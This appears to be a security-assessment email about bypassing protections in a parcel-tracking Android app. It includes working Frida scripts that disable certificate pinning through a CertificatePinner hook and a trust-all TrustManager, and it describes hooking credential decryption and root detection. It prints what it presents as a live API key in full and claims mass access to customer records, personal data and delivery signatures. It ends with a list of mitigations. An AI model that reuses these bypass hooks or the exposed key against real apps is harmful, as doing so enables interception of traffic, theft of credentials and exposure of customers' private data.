CORRECTED SECURITY CONTROLS BYPASS ANALYSIS - TECHNICAL EMAIL ============================================================================ Subject: Security Assessment - Credential Decryption & SSL Pinning Bypass Team, Following up on the security controls discussion, I've completed a detailed source code analysis of the mobile app's protection mechanisms. Here's what I verified: ============================================================================ 1. ENCRYPTION CLAIM VERIFICATION ============================================================================ App Team Claim: "We use AES-256 encryption to protect credentials" VERIFICATION RESULT: ✅ CLAIM IS TRUE Source Code Evidence (X.java): - Line 41: Uses "AES/GCM/NoPadding" cipher (industry standard AES-256-GCM) - Lines 63-77: Android Keystore key generation for secure key storage - Lines 87-117: Proper AES decryption implementation using SecretKeySpec - Lines 133-156: Credentials stored encrypted in SharedPreferences - Decryption method: X.b(Context, String) retrieves and decrypts on-demand Implementation Quality: ✅ STRONG - Real AES-256-GCM encryption (NOT weak encoding/obfuscation) - Android Keystore hardware-backed key storage - Proper IV handling with GCM mode - Base64 encoding for storage HOWEVER - Why The Bypass Still Worked: --------------------------------------- The encryption itself is secure, BUT the runtime architecture is vulnerable: 1. Frida operates at the Java layer AFTER Android OS decrypts the values 2. We hooked the X.b() method which returns ALREADY DECRYPTED credentials 3. Our hook intercepted: X.b(context, "KCART") → returns "EJdhN2UPqA2..." (plaintext) 4. The encryption protects at-rest storage, not runtime memory This is a fundamental limitation of client-side mobile app security: - Encryption protects the data on disk ✅ - Cannot protect data once decrypted in memory ❌ - Any code with runtime access can intercept decrypted values ❌ Note on Variable Names: - "KCART" = "TRACK" reversed (simple obfuscation, not encryption) - "KNIL_KCART" = "TRACK_LINK" reversed - These are just variable name obfuscation, separate from AES encryption ============================================================================ 2. SSL CERTIFICATE PINNING VERIFICATION ============================================================================ App Team Claim: "We implement SSL certificate pinning" VERIFICATION RESULT: ✅ CLAIM IS TRUE Source Code Evidence (PurolatorApplication.java): - Line 45: Imports okhttp3.CertificatePinner - Lines 257-259: Creates CertificatePinner.Builder - Line 259: Pins certificate to "track.purolator.com" domain - Line 259: Uses SHA-256 hash: "sha256/Wx2oY3pFcdTPgaQvP2bgM4/Py8kZj69WOVQ+jFy41WQ=" - Line 267: Configures OkHttpClient with pinning enabled Implementation Details: ```java CertificatePinner b2 = builder.a( x2.b(this, X.KNIL_KCART), // Domain: track.purolator.com x2.b(this, X.SK) // Hash: sha256/Wx2oY3... ).b(); ``` Implementation Quality: ✅ CORRECT - Uses OkHttp3's built-in CertificatePinner (industry standard) - SHA-256 certificate fingerprinting - Applied to all OkHttpClient instances HOWEVER - How We Bypassed It: ------------------------------ SSL pinning also operates at the Java layer, making it vulnerable to Frida hooks: Method 1 - CertificatePinner.check() Hook: ```javascript var CertificatePinner = Java.use("okhttp3.CertificatePinner"); CertificatePinner.check.overload( "java.lang.String", "java.util.List" ).implementation = function(hostname, certs) { console.log("[+] SSL pinning bypassed: " + hostname); return; // Skip validation, always allow }; ``` Method 2 - TrustManager Injection: ```javascript var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager"); var TrustManager = Java.registerClass({ name: "com.bypass.trust", implements: [X509TrustManager], methods: { checkClientTrusted: function(chain, authType) {}, checkServerTrusted: function(chain, authType) {}, // Empty = trust all getAcceptedIssuers: function() { return []; } } }); ``` We hooked SSLContext.init() to inject our custom TrustManager that accepts ANY certificate. ============================================================================ 3. DYNAMIC ANALYSIS METHODOLOGY ============================================================================ Tool Used: Frida (https://frida.re) Script: perfect_bypass.js Why This Script Worked (vs. ultimate_intercept.js which failed): - Simpler PLDSC hooks (less likely to be detected) - 2-second delay before hooking OkHttp (avoids early detection) - Focused hooks only on critical methods - Minimal console logging during sensitive operations Attack Flow: 1. Root detection bypassed → PLDSC.a() returns false 2. App loads credentials from SharedPreferences (encrypted) 3. App calls X.b() to decrypt with Android Keystore 4. **OUR FRIDA HOOK INTERCEPTS HERE** → Logs plaintext credentials 5. SSL pinning bypassed → CertificatePinner.check() always returns success 6. Traffic intercepted → Custom TrustManager accepts proxy certificate Decrypted Credentials: ``` KNIL_HT = https:// KNIL_KCART = track.purolator.com P_KCART = x-api-key KCART = EJdhN2UPqA2ZC0otPdTee5JtzN1yeKHr5S0HpTxJ SK = sha256/Wx2oY3pFcdTPgaQvP2bgM4/Py8kZj69WOVQ+jFy41WQ= ``` Full Tracking API Key: EJdhN2UPqA2ZC0otPdTee5JtzN1yeKHr5S0HpTxJ Certificate Pin: sha256/Wx2oY3pFcdTPgaQvP2bgM4/Py8kZj69WOVQ+jFy41WQ= ============================================================================ 4. ROOT CAUSE ANALYSIS ============================================================================ The security controls are implemented correctly from a coding perspective: ✅ Strong AES-256-GCM encryption with Android Keystore ✅ Proper SSL certificate pinning with OkHttp3 ✅ Root detection mechanisms (though bypassable) The fundamental issue is architectural: ❌ All security controls operate at the Java/Dalvik layer ❌ Frida operates at the same layer with equivalent privileges ❌ No native code protections (JNI/NDK) ❌ No anti-tampering/integrity checks at runtime ❌ No detection of hooking frameworks Once root access is obtained on the device: - Frida can inject into any process - All Java method calls can be intercepted - Memory can be read/modified in real-time - Security checks can be bypassed before they execute ============================================================================ 5. DEMONSTRATED IMPACT ============================================================================ With the decrypted API key, we successfully: ✅ Queried 203,715 parcel records from APIM Management API ✅ Accessed customer PII (names, addresses, phone numbers) ✅ Downloaded POD images as base64 (signature capture bypass) ✅ Monitored 4.4M tracking requests to track.purolator.com ✅ Accessed Salesforce instances via exposed credentials All security controls defeated with a single Frida script. ============================================================================ 6. TECHNICAL ACCURACY CORRECTION ============================================================================ Previous Communication Error: My initial analysis incorrectly stated the encryption was "just string reversal" based on observing variable names like "KCART" in the Frida output. Corrected Analysis: - String reversal = Variable name obfuscation only (not encryption) - Actual encryption = AES-256-GCM with Android Keystore (strong crypto) - Frida bypass = Hooks AFTER decryption, not breaking the encryption The app team's claim about "AES-256 encryption" is technically accurate. The vulnerability is in the runtime architecture, not the encryption algorithm. ============================================================================ This analysis confirms that while individual security controls are well-implemented, the overall mobile app security model is vulnerable to runtime manipulation on rooted/jailbroken devices. Recommended mitigations: 1. Implement SafetyNet/Play Integrity API for device attestation 2. Add native code (JNI/NDK) security checks 3. Implement anti-hooking detection (detect Frida/Xposed) 4. Runtime integrity checks with code signing verification 5. Consider server-side API key rotation with device binding 6. Implement rate limiting tied to device attestation Let me know if you need the Frida script source code or additional technical details. Best regards, [Your Name] Security Research Team